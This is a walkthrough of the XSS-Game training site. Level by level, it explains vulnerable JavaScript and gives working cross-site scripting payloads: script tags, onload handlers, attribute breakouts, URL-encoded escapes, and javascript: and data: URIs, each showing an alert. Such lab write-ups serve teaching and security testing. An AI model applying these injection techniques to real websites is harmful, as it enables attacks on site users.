XSS-Game is a game that teaches you the basics of XSS vulnerability and how to detect it, so let’s start by access the site From here.
The first level is very simple if you had the general idea about XSS.
We have a website with input box, where we put text and it will search for it, so let’s try to search for something.
As you can see, the website returned the string that we have searched for, so let’s check if the website does any validation for the input.
all we have to do is to add a simple script that shows a popup and this is more than enough to prove that XSS vulnerability is in the site.
to do that we can simply append our first search with the following code that allows the browser to display a popup with the message “hi”.
something <script> alert("hi")</script>
and voila! , we got our first XSS solution
Let’s go to the next level, it’s a char forum where you can post a message, so let’s try the same previous code first
but nothing shows except the text
so let’s open the inspect element tools in your browser and hover over the message.
You can see that the script tag is there but it doesn’t run
let’s toggle the code and see which code is being executed from the moment we submit the text, if you use inspect element tools, you can see that when you submit the form, the following code will be executed
function() {
var message = document.getElementById('post-content').value;
DB.save(message, function() {
displayPosts()
});
document.getElementById('post-content').value = "";
return false;
}
so the code will get the text we have inserted, it will send it to backend to save the data, then it will execute function “displayPosts()”, let’s check that function code.( you can get the code by clicking on “Toggle code and check index.html code)
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
First, we will get the HTML element that has ID of “post-container”
var containerEl = document.getElementById("post-container");
Then we will reset the inner HTML which means removing everything inside that element.
containerEl.innerHTML = "";
After that, we will get all the posts saved in the Database in the backend
var posts = DB.getPosts();
and now, we will go into for loop which allows us to traverse all the posts the script received from the backend.
for (var i=0; i<posts.length; i++)
then the script will structure the html to be displayed, this is where it starts displaying each and single card and then it append it to the post before.
But there’s one thing that is important, it uses the following command to append the html code.
containerEl.innerHTML += html;
why is it important you might ask, well it’s simple because innerHTML doesn’t allow <script> tags to run when it’s added to document. you can check for more information from here and here.
So what other way to execute a javascript, especially an alert() function. A simple but effective method is using the onxxx functions such as onload, onclick, onsubmit etc.
But, you need an element that support the above methods, also you can find more information from here.
so let’s try to do that, create html tag with onload event that will execute the alert() function to display a message.
But, which elements supports onload event, a simple google search will give you many results, we only need one, some of the tags are:
<body>, <frame>, <frameset>, <iframe>, <img>, <link>, <script>
so let’s use the img tag
<img src="anyimagelink" onload="alert('hi')"/>
and now we can advance to the next level.
In this level, we can see multiple tabs where you can switch between them.
let’s open the javascript and analyze it, mainly we will focus on this part only
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
also , you can see that when the tab is clicked will trigger the above
<div class="tab active" id="tab1" onclick="chooseTab('1')">Image 1</div>
and then the image will be displayed as the following
<img src="/static/level3/cloud1.jpg">
at the same time, you can see that the javascript is setting the url to the number was clicked
https://xss-game.appspot.com/level3/frame#1
so let’s try first to change the value after the # for example, let’s try the following:
https://xss-game.appspot.com/level3/frame#2
we can see the image is changing to the one in the second tab, without the need to click on the tab.
So, what we’re looking for is to escape the <img> tag and execute on load event to success in our xss.
since onload event requires the <img> tag to have a proper and valid source, we will use the image “1.jpg”
so, what we want to do is to specify the image, close the src=”” and then execute the onload, so we should do something like.
https://xss-game.appspot.com/level3/frame#1.jpg' onload="alert('hi')"
and voila, it worked perfectly.
now let’s go to level 4, it has an input of timer
where if you click on “create timer”, it will send it to new page and shows an alert after 3 seconds (the default)
also you can see the URL is structured like this
https://xss-game.appspot.com/level4/frame?timer=3
now let’s set the timer to large number so we can have enough time to see the code, if you use inspect element, you can see the following code:
so the timer is inserted inside the onload in the html, this gives us huge advantage, cause we can close the “startTimer” function and write our own, for example if we use the following:
https://xss-game.appspot.com/level4/frame?timer=')
you can see the function is closed
ok, so let’s try to end function (by using the 😉 and write our alert function
https://xss-game.appspot.com/level4/frame?timer=');alert('hi
but nothing changed, you can see the input is filtered after “;”, one way to escape that is by using URL encoding so if search online on what is the URL encoding of “;” you will get “%3B”, let’s try it
https://xss-game.appspot.com/level4/frame?timer=')%3Balert('hi
and congrats, we got the right solution, now you might ask why we left the “alert(‘” as half open, well because we closed the “setTimer” function but the closing brackets are still in the HTML as you can see above, so if you closed it like this
https://xss-game.appspot.com/level4/frame?timer=')%3Balert('hi')
you will get the following in HTML which will break the code and won’t run
<img src="/static/loading.gif" onload="startTimer('');alert('hi')');">
Let’s advance to the next level, this level is fairly simple if you know this trick.
you can execute a java script code within HREF of <a> if you write “javascript:” in the beginning of the URL, so let’s see what we mean by the above.
The Challenge starts with a home page where you can signup, so if you click on “signup”
you would the following page where you will have to input your email to sign up
The thing that we need to pay attention to is in the URL of the page.
https://xss-game.appspot.com/level5/frame/signup?next=confirm
so we have a value being sent to the page as “next”, let’s check the source code of the page.
we can see that the “next” HREF is the value we pass to “next”, so let’s do the trick we learned before
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('hi')
Now the solution works, if the user click on the “next”, and now let’s head to the last one.
This level includes another small trick that you should know about “src”, according to MDN documents , you can use “data:” to load a small file inline instead of saving the file somewhere else and call it.
Now, let’s check the the challenge
In this challenge, the code will take a URL and load it in <script> tag ( you can check the code), so by knowing this along with the previous hint, we know that we can load direct data in the src of the <script>, but how can we do that.
well, we need to follow the following structured specified in the documents above
data:[<mediatype>][;base64],<data>
so, we need a media type ( you can check all media types from here)
we don’t need base64 as we don’t need to encode it, knowing all that, let’s write it
data:text/plain,alert("hi")
So, if we use the above in the URL as
https://xss-game.appspot.com/level6/frame#data:text/plain,alert("hi")
and congratulations, you have finished this challenge successfully.
Recent Comments